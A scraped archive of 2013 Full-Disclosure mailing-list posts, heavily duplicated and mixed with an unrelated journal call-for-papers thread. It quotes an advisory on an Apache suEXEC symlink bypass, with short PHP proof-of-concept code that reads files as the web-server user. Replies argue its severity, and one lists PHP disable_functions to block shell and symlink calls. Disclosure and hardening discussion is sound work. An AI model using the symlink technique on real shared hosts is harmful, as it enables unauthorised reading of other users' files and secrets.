Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
Uhh Hit em with a little Ghetto Gospel
So am i less holy Because i Puff a blunt and Drink a Beer with my homies?
Theres no Need for you to fear me if you Take your Time and Hear me Maybe you
can learn to cheer me.
It aint about Black and white cause we Human !!!
Lord can you Hear me speaaak!!
http://rapgenius.com/2pac-ghetto-gospel-lyrics
Am 09.08.2013 um 16:33 schrieb Kingcope
:
> So the blackhat that Sits on ur Site and the site of ur company Since half a
> year will stop at the point Where its "technically incorrect" and wont
> escalate to root because "it doesnt have to do Anything with suexec". Its an
> Old vuln so let it stay , better for us and soon our Data on your boxes.
>
> Time to Write a Real Root exploit and dont waste the Time with sysadmins that
> know how to set a flag in httpd.conf , apache devs included.
>
> Am 09.08.2013 um 14:29 schrieb Kingcope
> :
>
>> So what your Emails Tell me is better ignore this vulnerability. I dont
>> Claim its a High severity Bug but if you Tell People to ignore it Because it
>> isnt a vulnerability you are very much aiding the Chaos of insecurity in the
>> Internet today. You Maybe have a Secure Setting but theres only you on the
>> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
>> we have compromises in a High Scale every Day due to this ignorance. My rant
>> on that One.
>>
>> Am 07.08.2013 um 21:49 schrieb king cope
>> :
>>
>>> Apache suEXEC privilege elevation / information disclosure
>>>
>>> Discovered by Kingcope/Aug 2013
>>>
>>> The suEXEC feature provides Apache users the ability to run CGI and SSI
>>> programs
>>> under user IDs different from the user ID of the calling web server.
>>> Normally,
>>> when a CGI or SSI program executes, it runs as the same user who is running
>>> the
>>> web server.
>>> Used properly, this feature can reduce considerably the security risks
>>> involved
>>> with allowing users to develop and run private CGI or SSI programs.
>>>
>>> With this bug an attacker who is able to run php or cgi code inside a web
>>> hosting environment and the environment is configured to use suEXEC as a
>>> protection mechanism, he/she is able to read any file and directory on the
>>> file-
>>> system of the UNIX/Linux system with the user and group id of the
>>> apache web server.
>>>
>>> Normally php and cgi scripts are not allowed to read files with the apache
>>> user-
>>> id inside a suEXEC configured environment.
>>>
>>> Take for example this apache owned file and the php script that follows.
>>>
>>> $ ls -la /etc/testapache
>>> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
>>> only user www-data should be able to read this file.
>>>
>>> $ cat test.php
>>> >> system("id; cat /etc/testapache");
>>> ?>
>>>
>>> When calling the php file using a webbrowser it will show...
>>> uid=1002(example) gid=1002(example) groups=1002(example)
>>>
>>> because the php script is run trough suEXEC.
>>> The script will not output the file requested because of a permissions
>>> error.
>>>
>>> Now if we create a .htaccess file with the content...
>>> Options Indexes FollowSymLinks
>>>
>>> and a php script with the content...
>>>
>>> >> system("ln -sf / test99.php");
>>> symlink("/", "test99.php"); // try builtin function in case when
>>> //system() is blocked
>>> ?>
>>> in the same folder
>>>
>>> ..we can access the root filesystem with the apache uid,gid by
>>> requesting test99.php.
>>> The above php script will simply create a symbolic link to '/'.
>>>
>>> A request to test99.php/etc/testapache done with a web browser shows..
>>> voila! read with the apache uid/gid
>>>
>>> The reason we can now read out any files and traverse directories owned by
>>> the
>>> apache user is because apache httpd displays symlinks and directory listings
>>> without querying suEXEC.
>>> It is not possible to write to files in this case.
>>>
>>> Version notes. Assumed is that all Apache versions are affected by this bug.
>>>
>>> apache2 -V
>>> Server version: Apache/2.2.22 (Debian)
>>> Server built: Mar 4 2013 21:32:32
>>> Server's Module Magic Number: 20051115:30
>>> Server loaded: APR 1.4.6, APR-Util 1.4.1
>>> Compiled using: APR 1.4.6, APR-Util 1.4.1
>>> Architecture: 32-bit
>>> Server MPM: Worker
>>> threaded: yes (fixed thread count)
>>> forked: yes (variable process count)
>>> Server compiled with
>>> -D APACHE_MPM_DIR="server/mpm/worker"
>>> -D APR_HAS_SENDFILE
>>> -D APR_HAS_MMAP
>>> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
>>> -D APR_USE_SYSVSEM_SERIALIZE
>>> -D APR_USE_PTHREAD_SERIALIZE
>>> -D APR_HAS_OTHER_CHILD
>>> -D AP_HAVE_RELIABLE_PIPED_LOGS
>>> -D DYNAMIC_MODULE_LIMIT=128
>>> -D HTTPD_ROOT="/etc/apache2"
>>> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
>>> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
>>> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
>>> -D DEFAULT_ERRORLOG="logs/error_log"
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
Uhh Hit em with a little Ghetto Gospel
So am i less holy Because i Puff a blunt and Drink a Beer with my homies?
Theres no Need for you to fear me if you Take your Time and Hear me Maybe you
can learn to cheer me.
It aint about Black and white cause we Human !!!
Lord can you Hear me speaaak!!
http://rapgenius.com/2pac-ghetto-gospel-lyrics
Am 09.08.2013 um 16:33 schrieb Kingcope
:
> So the blackhat that Sits on ur Site and the site of ur company Since half a
> year will stop at the point Where its "technically incorrect" and wont
> escalate to root because "it doesnt have to do Anything with suexec". Its an
> Old vuln so let it stay , better for us and soon our Data on your boxes.
>
> Time to Write a Real Root exploit and dont waste the Time with sysadmins that
> know how to set a flag in httpd.conf , apache devs included.
>
> Am 09.08.2013 um 14:29 schrieb Kingcope
> :
>
>> So what your Emails Tell me is better ignore this vulnerability. I dont
>> Claim its a High severity Bug but if you Tell People to ignore it Because it
>> isnt a vulnerability you are very much aiding the Chaos of insecurity in the
>> Internet today. You Maybe have a Secure Setting but theres only you on the
>> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
>> we have compromises in a High Scale every Day due to this ignorance. My rant
>> on that One.
>>
>> Am 07.08.2013 um 21:49 schrieb king cope
>> :
>>
>>> Apache suEXEC privilege elevation / information disclosure
>>>
>>> Discovered by Kingcope/Aug 2013
>>>
>>> The suEXEC feature provides Apache users the ability to run CGI and SSI
>>> programs
>>> under user IDs different from the user ID of the calling web server.
>>> Normally,
>>> when a CGI or SSI program executes, it runs as the same user who is running
>>> the
>>> web server.
>>> Used properly, this feature can reduce considerably the security risks
>>> involved
>>> with allowing users to develop and run private CGI or SSI programs.
>>>
>>> With this bug an attacker who is able to run php or cgi code inside a web
>>> hosting environment and the environment is configured to use suEXEC as a
>>> protection mechanism, he/she is able to read any file and directory on the
>>> file-
>>> system of the UNIX/Linux system with the user and group id of the
>>> apache web server.
>>>
>>> Normally php and cgi scripts are not allowed to read files with the apache
>>> user-
>>> id inside a suEXEC configured environment.
>>>
>>> Take for example this apache owned file and the php script that follows.
>>>
>>> $ ls -la /etc/testapache
>>> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
>>> only user www-data should be able to read this file.
>>>
>>> $ cat test.php
>>> >> system("id; cat /etc/testapache");
>>> ?>
>>>
>>> When calling the php file using a webbrowser it will show...
>>> uid=1002(example) gid=1002(example) groups=1002(example)
>>>
>>> because the php script is run trough suEXEC.
>>> The script will not output the file requested because of a permissions
>>> error.
>>>
>>> Now if we create a .htaccess file with the content...
>>> Options Indexes FollowSymLinks
>>>
>>> and a php script with the content...
>>>
>>> >> system("ln -sf / test99.php");
>>> symlink("/", "test99.php"); // try builtin function in case when
>>> //system() is blocked
>>> ?>
>>> in the same folder
>>>
>>> ..we can access the root filesystem with the apache uid,gid by
>>> requesting test99.php.
>>> The above php script will simply create a symbolic link to '/'.
>>>
>>> A request to test99.php/etc/testapache done with a web browser shows..
>>> voila! read with the apache uid/gid
>>>
>>> The reason we can now read out any files and traverse directories owned by
>>> the
>>> apache user is because apache httpd displays symlinks and directory listings
>>> without querying suEXEC.
>>> It is not possible to write to files in this case.
>>>
>>> Version notes. Assumed is that all Apache versions are affected by this bug.
>>>
>>> apache2 -V
>>> Server version: Apache/2.2.22 (Debian)
>>> Server built: Mar 4 2013 21:32:32
>>> Server's Module Magic Number: 20051115:30
>>> Server loaded: APR 1.4.6, APR-Util 1.4.1
>>> Compiled using: APR 1.4.6, APR-Util 1.4.1
>>> Architecture: 32-bit
>>> Server MPM: Worker
>>> threaded: yes (fixed thread count)
>>> forked: yes (variable process count)
>>> Server compiled with
>>> -D APACHE_MPM_DIR="server/mpm/worker"
>>> -D APR_HAS_SENDFILE
>>> -D APR_HAS_MMAP
>>> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
>>> -D APR_USE_SYSVSEM_SERIALIZE
>>> -D APR_USE_PTHREAD_SERIALIZE
>>> -D APR_HAS_OTHER_CHILD
>>> -D AP_HAVE_RELIABLE_PIPED_LOGS
>>> -D DYNAMIC_MODULE_LIMIT=128
>>> -D HTTPD_ROOT="/etc/apache2"
>>> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
>>> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
>>> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
>>> -D DEFAULT_ERRORLOG="logs/error_log"
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
On Fri, 2013-08-09 at 06:21 -0500, R. Whitney wrote: > I would concern myself more with the web hosting providers which > utilize suExec. By escalating privileges even to just the level of the > HTTPD would allow one to read/write to content outside of their web > hosting account. > I have personally been in situations where I have had to advise sys > admins that suExec was properly setup & my web hosting account was > capable of (in worst case scenario) shutting down the HTTPD itself, > and in other situations capable of reading things like wordpress > config files from other hosting accounts. > Then httpd was clearly not configured by someone who knew what they were doing - and majorly broke it somehow > Good work as always Kingcope. :) > oh dear .. I knew there was a reason why I rarely read this list unless something is off-list brought to my attention. signature.asc Description: This is a digitally signed message part ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Special Issue "Threat Detection, Analysis and Defense" of JISA
On Fri, Aug 09, 2013 at 10:08:50AM +, Bart van Tuil wrote: > I am shocked, i am. ... Is this common practice?! > i heard it is common practice to transfer the copyright to a journal just they have _something_ to sell. basically you receive pennies (unless you are screwed to pay for the pleasure) and they bill per view. maybe this is explained by the quote: "a society of dumb (pseudo) scientists deserves a government of wolves". > Alex, vrijdag 9 augustus 2013 10:51 > > > Elsevier sells the journals to universities for crazy amounts (the top 10 > from university of karlsruhe can be seen here > http://www.bibliothek.kit.edu/cms/teuerste-zeitschriften.php with 2 Euro > beeing the most expensive one). Althought you submit your paper for free (or > even pay for "corrections"). > > Please consider boycotting Elsevier (like these guys > http://www.economist.com/node/21545974). > > Doing the right thing > impact factor. > > > > Am 2013-08-09 09:26, schrieb Konrad Rieck: > > CALL FOR PAPERS > > > > Special Issue on Threat Detection, Analysis and Defense > > Journal of Information Security and Applications > > > > Please consider the following opportunity to submit and publish > > original scientific results to a special issue of the Journal of > > Information Security and Applications (Elsevier) on "Threat Detection, > > Analysis and Defense" > > > > The submission deadline is September 30, 2013. > > > > http://bit.ly/13ku0Ga > > http://ees.elsevier.com/jisa/ > > > > > > TOPICS > > > > This special issue is intended to bring forth the recent advancements > > in the detection, modeling, monitoring, analysis and defense of > > various threats posed to sensitive data and security systems from > > unauthorized or other inappropriate access. Areas to be covered > > include but are not limited to: > > > > * Monitoring: Novel tools and techniques for monitoring mounting threats > >including monitoring of ongoing attacks. > > * Detection solutions: Innovations in the detection of intrusions, > >malware and its activity, including post-attack forensics. > > * Infrastructure: Improvements in network traffic security analysis for > >identification of threats. > > * Threat modelling: Advances in the tools, technologies and processes > >used in anticipating attacks. > > * Emergent problems: New threats resulting from new business models for > >transfer of value, from gold-farming to Paypal and Bitcoins. > > * Security designs: Innovations in security architectures, approaches > >and systems responding to specific emerging threats. > > > > > > IMPORTANT DATES > > > > * Paper submission: September 30, 2013 > > * First-round notification: November 30, 2013 > > * Revision: January 13, 2014 > > * Final decision: March 14, 2014 > > * Submission of final paper: April 14, 2014 > > * Publication date: July 2014 > > > > > > SUBMISSION DETAILS > > > > Paper submissions for the special issue should follow the submission > > format and guidelines for regular papers submitted to Journal of > > Information Security and Applications (JISA). All the papers will be > > peer-reviewed following the JISA reviewing procedures. > > > > > > GUEST EDITORS > > > > Alan Woodward > > Charteris plc and University of Surrey, UK > > alan.woodward (AT) surrey.ac.uk > > > > Andrew Rogoyski > > Roke Manor Research Ltd, UK > > andrew.rogoyski (AT) roke.co.uk > > > > Konrad Rieck, > > University of Goettingen, Germany > > konrad.rieck (AT) uni-goettingen.de > > > > Shujun Li > > University of Surrey, UK > > Shujun.Li (AT) surrey.ac.uk > > > ___ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Special Issue "Threat Detection, Analysis and Defense" of JISA
Hmm, this dates back to 2011. Any news so far? I certainly didn't hear about either Elsevier, ACM, or IEEE going down on their knees begging... It still does look like nothing has changed despite all those people saying their NO. 2013/8/9 Justin C. Klein Keane > -BEGIN PGP SIGNED MESSAGE- > Hash: SHA1 > > Yes, yes, it is very common: > > http://www.crypto.com/blog/copywrongs/ > > Justin C. Klein Keane > http://www.MadIrish.net > > Any digital signature on this message can be confirmed using > the GPG key at http://www.madirish.net/gpgkey > > On 08/09/2013 06:08 AM, Bart van Tuil wrote: > > I am shocked, i am. ... Is this common practice?! > > > > > > > > Alex, vrijdag 9 augustus 2013 10:51 > > > > Elsevier sells the journals to universities for crazy amounts (the > > top 10 from university of karlsruhe can be seen here > > http://www.bibliothek.kit.edu/cms/teuerste-zeitschriften.php with > > 2 Euro beeing the most expensive one). Althought you submit > > your paper for free (or even pay for "corrections"). > > > > Please consider boycotting Elsevier (like these guys > > http://www.economist.com/node/21545974). > > > > Doing the right thing > impact factor. > > > > > > > > Am 2013-08-09 09:26, schrieb Konrad Rieck: > > > > CALL FOR PAPERS > > > > > > > > Special Issue on Threat Detection, Analysis and Defense > > > > Journal of Information Security and Applications > > > > > > > > Please consider the following opportunity to submit and publish > > > > original scientific results to a special issue of the Journal of > > > > Information Security and Applications (Elsevier) on "Threat > > Detection, > > > > Analysis and Defense" > > > > > > > > The submission deadline is September 30, 2013. > > > > > > > > http://bit.ly/13ku0Ga > > > > http://ees.elsevier.com/jisa/ > > > > > > > > > > > > TOPICS > > > > > > > > This special issue is intended to bring forth the recent > > advancements > > > > in the detection, modeling, monitoring, analysis and defense of > > > > various threats posed to sensitive data and security systems from > > > > unauthorized or other inappropriate access. Areas to be covered > > > > include but are not limited to: > > > > > > > > * Monitoring: Novel tools and techniques for monitoring mounting > > threats > > > > including monitoring of ongoing attacks. > > > > * Detection solutions: Innovations in the detection of intrusions, > > > > malware and its activity, including post-attack forensics. > > > > * Infrastructure: Improvements in network traffic security analysis > > for > > > > identification of threats. > > > > * Threat modelling: Advances in the tools, technologies and > > processes > > > > used in anticipating attacks. > > > > * Emergent problems: New threats resulting from new business models > > for > > > > transfer of value, from gold-farming to Paypal and Bitcoins. > > > > * Security designs: Innovations in security architectures, > > approaches > > > > and systems responding to specific emerging threats. > > > > > > > > > > > > IMPORTANT DATES > > > > > > > > * Paper submission: September 30, 2013 > > > > * First-round notification: November 30, 2013 > > > > * Revision: January 13, 2014 > > > > * Final decision: March 14, 2014 > > > > * Submission of final paper: April 14, 2014 > > > > * Publication date: July 2014 > > > > > > > > > > > > SUBMISSION DETAILS > > > > > > > > Paper submissions for the special issue should follow the > > submission > > > > format and guidelines for regular papers submitted to Journal of > > > > Information Security and Applications (JISA). All the papers will > > be > > > > peer-reviewed following the JISA reviewing procedures. > > > > > > > > > > > > GUEST EDITORS > > > > > > > > Alan Woodward > > > > Charteris plc and University of Surrey, UK > > > > alan.woodward (AT) surrey.ac.uk > > > > > > > > Andrew Rogoyski > > > > Roke Manor Research Ltd, UK > > > > andrew.rogoyski (AT) roke.co.uk > > > > > > > > Konrad Rieck, > > > > University of Goettingen, Germany > > > > konrad.rieck (AT) uni-goettingen.de > > > > > > > > Shujun Li > > > > University of Surrey, UK > > > > Shujun.Li (AT) surrey.ac.uk > > > > > > > > ___ > > > > Full-Disclosure - We believe in it. > > > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > > > > > > > ___ Full-Disclosure - > > We believe in it. Charter: > > http://lists.grok.org.uk/full-disclosure-charter.html Hosted and > > sponsored by Secunia - http://secunia.com/ > > > -BEGIN PGP SIGNATURE- > Version: GnuPG v1.4.13 (GNU/Linux) > Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ > > iPwEAQECAAYFAlIE3/4ACgkQkSlsbLsN1gA5aQb8CDQgYiwUJFoiWHFRLsiA8ADZ > pTISEi5zuAp2COZJd9Wjlu+dc/2HEPG2xcHHJ00DB6X5doNti1ubc0nBfeZy6A9A > CCQfjJHUiw25NrFvmoEpayXvDrkIHLdqER/jVa1IT0ep8j6rIugAT6gp5h5xuMst > FiQtl6VtxxCwLqqeI3BS+AhO
Re: [Full-disclosure] Special Issue "Threat Detection, Analysis and Defense" of JISA
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Yes, yes, it is very common: http://www.crypto.com/blog/copywrongs/ Justin C. Klein Keane http://www.MadIrish.net Any digital signature on this message can be confirmed using the GPG key at http://www.madirish.net/gpgkey On 08/09/2013 06:08 AM, Bart van Tuil wrote: > I am shocked, i am. ... Is this common practice?! > > > > Alex, vrijdag 9 augustus 2013 10:51 > > Elsevier sells the journals to universities for crazy amounts (the > top 10 from university of karlsruhe can be seen here > http://www.bibliothek.kit.edu/cms/teuerste-zeitschriften.php with > 2 Euro beeing the most expensive one). Althought you submit > your paper for free (or even pay for "corrections"). > > Please consider boycotting Elsevier (like these guys > http://www.economist.com/node/21545974). > > Doing the right thing > impact factor. > > > > Am 2013-08-09 09:26, schrieb Konrad Rieck: > > CALL FOR PAPERS > > > > Special Issue on Threat Detection, Analysis and Defense > > Journal of Information Security and Applications > > > > Please consider the following opportunity to submit and publish > > original scientific results to a special issue of the Journal of > > Information Security and Applications (Elsevier) on "Threat > Detection, > > Analysis and Defense" > > > > The submission deadline is September 30, 2013. > > > > http://bit.ly/13ku0Ga > > http://ees.elsevier.com/jisa/ > > > > > > TOPICS > > > > This special issue is intended to bring forth the recent > advancements > > in the detection, modeling, monitoring, analysis and defense of > > various threats posed to sensitive data and security systems from > > unauthorized or other inappropriate access. Areas to be covered > > include but are not limited to: > > > > * Monitoring: Novel tools and techniques for monitoring mounting > threats > > including monitoring of ongoing attacks. > > * Detection solutions: Innovations in the detection of intrusions, > > malware and its activity, including post-attack forensics. > > * Infrastructure: Improvements in network traffic security analysis > for > > identification of threats. > > * Threat modelling: Advances in the tools, technologies and > processes > > used in anticipating attacks. > > * Emergent problems: New threats resulting from new business models > for > > transfer of value, from gold-farming to Paypal and Bitcoins. > > * Security designs: Innovations in security architectures, > approaches > > and systems responding to specific emerging threats. > > > > > > IMPORTANT DATES > > > > * Paper submission: September 30, 2013 > > * First-round notification: November 30, 2013 > > * Revision: January 13, 2014 > > * Final decision: March 14, 2014 > > * Submission of final paper: April 14, 2014 > > * Publication date: July 2014 > > > > > > SUBMISSION DETAILS > > > > Paper submissions for the special issue should follow the > submission > > format and guidelines for regular papers submitted to Journal of > > Information Security and Applications (JISA). All the papers will > be > > peer-reviewed following the JISA reviewing procedures. > > > > > > GUEST EDITORS > > > > Alan Woodward > > Charteris plc and University of Surrey, UK > > alan.woodward (AT) surrey.ac.uk > > > > Andrew Rogoyski > > Roke Manor Research Ltd, UK > > andrew.rogoyski (AT) roke.co.uk > > > > Konrad Rieck, > > University of Goettingen, Germany > > konrad.rieck (AT) uni-goettingen.de > > > > Shujun Li > > University of Surrey, UK > > Shujun.Li (AT) surrey.ac.uk > > > > ___ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > ___ Full-Disclosure - > We believe in it. Charter: > http://lists.grok.org.uk/full-disclosure-charter.html Hosted and > sponsored by Secunia - http://secunia.com/ > -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.13 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iPwEAQECAAYFAlIE3/4ACgkQkSlsbLsN1gA5aQb8CDQgYiwUJFoiWHFRLsiA8ADZ pTISEi5zuAp2COZJd9Wjlu+dc/2HEPG2xcHHJ00DB6X5doNti1ubc0nBfeZy6A9A CCQfjJHUiw25NrFvmoEpayXvDrkIHLdqER/jVa1IT0ep8j6rIugAT6gp5h5xuMst FiQtl6VtxxCwLqqeI3BS+AhOiFHaGUZrbLEkGoM8GZciq3BpsiHiAselIjRBaHP8 eH8+iI6Hl89vkH53NuuCMdvUFifyy9TV8hZc8ZMC4nlu+eZAu+GA9nqNpJULNOl6 WDqJGG+o5iZWrB2Acg4= =QQJ+ -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
I know that Kingcope does nice jobs, I follow you some times ago and I
found that your exploits are simply awesome.
hope that you continue in that way =)
Regards,
On Fri, Aug 9, 2013 at 12:21 PM, R. Whitney wrote:
> I would concern myself more with the web hosting providers which utilize
> suExec. By escalating privileges even to just the level of the HTTPD would
> allow one to read/write to content outside of their web hosting account.
> I have personally been in situations where I have had to advise sys admins
> that suExec was properly setup & my web hosting account was capable of (in
> worst case scenario) shutting down the HTTPD itself, and in other
> situations capable of reading things like wordpress config files from other
> hosting accounts.
>
> Good work as always Kingcope. :)
>
>
> On 08/09/13 04:33, Kingcope wrote:
>
> So the blackhat that Sits on ur Site and the site of ur company Since half a
> year will stop at the point Where its "technically incorrect" and wont
> escalate to root because "it doesnt have to do Anything with suexec". Its an
> Old vuln so let it stay , better for us and soon our Data on your boxes.
>
> Time to Write a Real Root exploit and dont waste the Time with sysadmins that
> know how to set a flag in httpd.conf , apache devs included.
>
> Am 09.08.2013 um 14:29 schrieb Kingcope
>
> :
>
>
> So what your Emails Tell me is better ignore this vulnerability. I dont
> Claim its a High severity Bug but if you Tell People to ignore it Because it
> isnt a vulnerability you are very much aiding the Chaos of insecurity in the
> Internet today. You Maybe have a Secure Setting but theres only you on the
> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
> we have compromises in a High Scale every Day due to this ignorance. My rant
> on that One.
>
> Am 07.08.2013 um 21:49 schrieb king cope
>
> :
>
>
> Apache suEXEC privilege elevation / information disclosure
>
> Discovered by Kingcope/Aug 2013
>
> The suEXEC feature provides Apache users the ability to run CGI and SSI
> programs
> under user IDs different from the user ID of the calling web server. Normally,
> when a CGI or SSI program executes, it runs as the same user who is running
> the
> web server.
> Used properly, this feature can reduce considerably the security risks
> involved
> with allowing users to develop and run private CGI or SSI programs.
>
> With this bug an attacker who is able to run php or cgi code inside a web
> hosting environment and the environment is configured to use suEXEC as a
> protection mechanism, he/she is able to read any file and directory on the
> file-
> system of the UNIX/Linux system with the user and group id of the
> apache web server.
>
> Normally php and cgi scripts are not allowed to read files with the apache
> user-
> id inside a suEXEC configured environment.
>
> Take for example this apache owned file and the php script that follows.
>
> $ ls -la /etc/testapache
> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
> only user www-data should be able to read this file.
>
> $ cat test.php
>system("id; cat /etc/testapache");
> ?>
>
> When calling the php file using a webbrowser it will show...
> uid=1002(example) gid=1002(example) groups=1002(example)
>
> because the php script is run trough suEXEC.
> The script will not output the file requested because of a permissions error.
>
> Now if we create a .htaccess file with the content...
> Options Indexes FollowSymLinks
>
> and a php script with the content...
>
>system("ln -sf / test99.php");
> symlink("/", "test99.php"); // try builtin function in case when
> //system() is blocked
> ?>
> in the same folder
>
> ..we can access the root filesystem with the apache uid,gid by
> requesting test99.php.
> The above php script will simply create a symbolic link to '/'.
>
> A request to test99.php/etc/testapache done with a web browser shows..
> voila! read with the apache uid/gid
>
> The reason we can now read out any files and traverse directories owned by the
> apache user is because apache httpd displays symlinks and directory listings
> without querying suEXEC.
> It is not possible to write to files in this case.
>
> Version notes. Assumed is that all Apache versions are affected by this bug.
>
> apache2 -V
> Server version: Apache/2.2.22 (Debian)
> Server built: Mar 4 2013 21:32:32
> Server's Module Magic Number: 20051115:30
> Server loaded: APR 1.4.6, APR-Util 1.4.1
> Compiled using: APR 1.4.6, APR-Util 1.4.1
> Architecture: 32-bit
> Server MPM: Worker
> threaded: yes (fixed thread count)
> forked: yes (variable process count)
> Server compiled with
> -D APACHE_MPM_DIR="server/mpm/worker"
> -D APR_HAS_SENDFILE
> -D APR_HAS_MMAP
> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> -D APR_USE_SYSVSEM_SERIALIZE
> -D APR_USE_PTHREAD_SERIALIZE
> -D APR_HAS_OTHER_CHILD
> -D AP_HAVE_RELIABLE_PIPED_
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
Am 09.08.2013 09:29, schrieb Kingcope:
> So what your Emails Tell me is better ignore this vulnerability. I dont Claim
> its a High severity Bug but if you Tell People to ignore it Because it isnt a
> vulnerability you are very much aiding the Chaos of insecurity in the
> Internet today. You Maybe have a Secure Setting but theres only you on the
> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
> we have compromises in a High Scale every Day due to this ignorance. My rant
> on that One.
>> The above php script will simply create a symbolic link to '/'
>> A request to test99.php/etc/testapache done with a web browser shows..
>> voila! read with the apache uid/gid
if the script is possible to do so the admin did not his homework
on shared servers have symlink amd system-functions to be disabled
period
disable_functions = "exec, passthru, shell_exec, system, proc_open,
proc_close, proc_nice, proc_terminate,
proc_get_status, pcntl_exec, apache_child_terminate, posix_kill, posix_mkfifo,
posix_setpgid, posix_setsid,
posix_setuid, mail, symlink, link, dl, get_current_user, getmypid, getmyuid,
getrusage, pfsockopen, socket_accept,
socket_bind, openlog, syslog"
> Am 07.08.2013 um 21:49 schrieb king cope
> :
>
>> Apache suEXEC privilege elevation / information disclosure
>>
>> Discovered by Kingcope/Aug 2013
>>
>> The suEXEC feature provides Apache users the ability to run CGI and SSI
>> programs
>> under user IDs different from the user ID of the calling web server.
>> Normally,
>> when a CGI or SSI program executes, it runs as the same user who is running
>> the
>> web server.
>> Used properly, this feature can reduce considerably the security risks
>> involved
>> with allowing users to develop and run private CGI or SSI programs.
>>
>> With this bug an attacker who is able to run php or cgi code inside a web
>> hosting environment and the environment is configured to use suEXEC as a
>> protection mechanism, he/she is able to read any file and directory on the
>> file-
>> system of the UNIX/Linux system with the user and group id of the
>> apache web server.
>>
>> Normally php and cgi scripts are not allowed to read files with the apache
>> user-
>> id inside a suEXEC configured environment.
>>
>> Take for example this apache owned file and the php script that follows.
>>
>> $ ls -la /etc/testapache
>> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
>> only user www-data should be able to read this file.
>>
>> $ cat test.php
>> >system("id; cat /etc/testapache");
>> ?>
>>
>> When calling the php file using a webbrowser it will show...
>> uid=1002(example) gid=1002(example) groups=1002(example)
>>
>> because the php script is run trough suEXEC.
>> The script will not output the file requested because of a permissions error.
>>
>> Now if we create a .htaccess file with the content...
>> Options Indexes FollowSymLinks
>>
>> and a php script with the content...
>>
>> >system("ln -sf / test99.php");
>>symlink("/", "test99.php"); // try builtin function in case when
>>//system() is blocked
>> ?>
>> in the same folder
>>
>> ..we can access the root filesystem with the apache uid,gid by
>> requesting test99.php.
>> The above php script will simply create a symbolic link to '/'.
>>
>> A request to test99.php/etc/testapache done with a web browser shows..
>> voila! read with the apache uid/gid
>>
>> The reason we can now read out any files and traverse directories owned by
>> the
>> apache user is because apache httpd displays symlinks and directory listings
>> without querying suEXEC.
>> It is not possible to write to files in this case.
>>
>> Version notes. Assumed is that all Apache versions are affected by this bug.
>>
>> apache2 -V
>> Server version: Apache/2.2.22 (Debian)
>> Server built: Mar 4 2013 21:32:32
>> Server's Module Magic Number: 20051115:30
>> Server loaded: APR 1.4.6, APR-Util 1.4.1
>> Compiled using: APR 1.4.6, APR-Util 1.4.1
>> Architecture: 32-bit
>> Server MPM: Worker
>> threaded: yes (fixed thread count)
>>forked: yes (variable process count)
>> Server compiled with
>> -D APACHE_MPM_DIR="server/mpm/worker"
>> -D APR_HAS_SENDFILE
>> -D APR_HAS_MMAP
>> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
>> -D APR_USE_SYSVSEM_SERIALIZE
>> -D APR_USE_PTHREAD_SERIALIZE
>> -D APR_HAS_OTHER_CHILD
>> -D AP_HAVE_RELIABLE_PIPED_LOGS
>> -D DYNAMIC_MODULE_LIMIT=128
>> -D HTTPD_ROOT="/etc/apache2"
>> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
>> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
>> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
>> -D DEFAULT_ERRORLOG="logs/error_log"
>> -D AP_TYPES_CONFIG_FILE="mime.types"
>> -D SERVER_CONFIG_FILE="apache2.conf"
>>
>> Cheers,
>> /Kingcope
signature.asc
Description: OpenPGP digital signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclos
Re: [Full-disclosure] Apache suEXEC privilege elevation /
Kingcope, I think is the same risk if you are whatever user or apache to get
to root, so this is a not a big deal.
+ I do agree with Kingcope this time. However is not specially a bug, but an
architecture issue. Is not normal for an user to setuid-read to apache just
because a suexecd script is putting a symlink to / root:root owned
I did not test deeply this one, I replicated and is working. But just in 10
seconds of thinking, I can see reading issues, from reading SSL key/crt, log
